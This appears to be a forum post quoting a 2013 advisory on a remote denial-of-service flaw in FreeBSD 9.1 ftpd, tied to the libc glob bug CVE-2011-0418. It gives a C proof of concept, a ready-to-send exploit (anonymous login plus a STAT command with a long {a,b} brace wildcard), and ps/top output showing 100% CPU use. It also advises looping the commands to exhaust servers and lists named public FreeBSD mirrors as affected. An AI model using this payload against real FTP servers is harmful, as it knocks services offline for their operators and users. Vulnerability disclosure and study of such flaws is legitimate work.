DoS on servers ftpd FreeBSD 9.1

Why is this still working ?

http://www.youtube.com/watch?feature=player_embedded&v=FqXvFMyGnho

OpenBSD and NetBSD have fixed this bug but on FreeBSD is still working. What's going on ?
Attack basing on old bug in libc from: CVE-2011-0418.

Only need to login as anonymous and send wildcard (below) then proces will start using 100 % CPU
Code:
stat
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
 
FreeBSD 9.1

FreeBSD 9.1 ftpd Remote Denial of Service
Maksymilian Arciemowicz

http://cxsecurity.org/
http://cxsec.org/

Public Date: 01.02.2013
URL: http://cxsecurity.com/issue/WLB-2013020003

Affected servers:
- ftp.uk.freebsd.org,
- ftp.ua.freebsd.org,
- ftp5.freebsd.org,
- ftp5.us.freebsd.org,
- ftp10.freebsd.org,
- ftp3.uk.freebsd.org,
- ftp7.ua.freebsd.org,
- ftp2.se.freebsd.org,
- ftp2.za.FreeBSD.org,
- ftp2.ru.freebsd.org,
- ftp2.pl.freebsd.org
and more...


--- 1. Description ---
I have decided check BSD ftpd servers once again for wildcards. Old bug in libc (CVE-2011-0418) allow to Denial of Service ftpd in last FreeBSD version.
Attacker, what may connect anonymously to FTP server, may cause CPU resource exhaustion. Login as a 'USER anonymous'
'PASS anonymous', sending 'STAT' command with special wildchar, enought to create ftpd process with 100% CPU usage.

Proof of Concept (POC):
See the difference between NetBSD/libc and FreeBSD/libc.
--- PoC ---
#include <stdio.h>
#include <glob.h>

int main(){
glob_t globbuf;
char
stringa[]="{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b
}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b
}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}";
glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, NULL, &globbuf);
}
--- PoC ---

--- Exploit ---
user anonymous
pass anonymous
stat
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}

--- /Exploit ---

Result of attack:
ftp 13034 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.96 ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13035 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.89 ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13036 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.73 ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13046 0.0 0.4 10416 1952 ?? R 10:48PM 0:00.41 ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13047 0.0 0.4 10416 1960 ?? R 10:48PM 0:00.42 ftpd: cxsec.org anonymous/anonymous (ftpd)
...
root 13219 0.0 0.3 10032 1424 ?? R 10:52PM 0:00.00 /usr/libexec/ftpd -dDA
root 13225 0.0 0.3 10032 1428 ?? R 10:52PM 0:00.00 /usr/libexec/ftpd -dDA
root 13409 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00 /usr/libexec/ftpd -dDA
root 13410 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00 /usr/libexec/ftpd -dDA
...

=>Sending:
STAT
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}


=>Result:
@ps:
ftp 1336 100.0 0.5 10416 2360 ?? R 11:15PM 600:39.95 ftpd: 127.0.0.1: anonymous/anonymous@cxsecurity.com:
\r\n (ftpd)$
@top:
1336 root 1 103 0 10416K 2360K RUN 600:53 100.00% ftpd

one request over 600m (~10h) execution time and 100% CPU usage. This issue allow to create N ftpd processes with 100%
CPU usage.

Just create loop while(1) and send these commands
---
user anonymous
pass anonymous
stat
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}

---

NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011)
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24&r2=1.23.10.2

The funniest is that freebsd use GLOB_LIMIT in ftpd server.
http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c
---
if (strpbrk(whichf, "~{[*?") != NULL) {
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;

memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
freeglob = 1;
if (glob(whichf, flags, 0, &gl)) {
---

but GLOB_LIMIT in FreeBSD dosen't work. glob(3) function allow to CPU resource exhaustion. ;]

Libc was also vulnerable in Apple and Oracle products.
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
http://support.apple.com/kb/HT4723

only FreeBSD and GNU glibc are affected


--- 2. Exploit ---
http://cxsecurity.com/issue/WLB-2013010233


--- 3. Fix ---
Don't use ftpd on FreeBSD systems. :) You may use vsftpd to resolve problem with security ;)


--- 4. References ---
Multiple Vendors libc/glob(3) remote ftpd resource exhaustion
http://cxsecurity.com/issue/WLB-2010100135
http://cxsecurity.com/cveshow/CVE-2010-2632

Multiple FTPD Server GLOB_BRACE|GLOB_LIMIT memory exhaustion
http://cxsecurity.com/issue/WLB-2011050004
http://cxsecurity.com/cveshow/CVE-2011-0418

More CWE-399 resource exhaustion examples:
http://cxsecurity.com/cwe/CWE-399

The regcomp implementation in the GNU C Library allows attackers to cause a denial of service proftpd
http://cxsecurity.com/cveshow/CVE-2010-4051
http://cxsecurity.com/cveshow/CVE-2010-4052
http://www.kb.cert.org/vuls/id/912279


--- 5. Contact ---
Maksymilian Arciemowicz
max 4T cxsecurity.com
http://cxsecurity.com/
http://cxsec.org/

Looks really bad.
 
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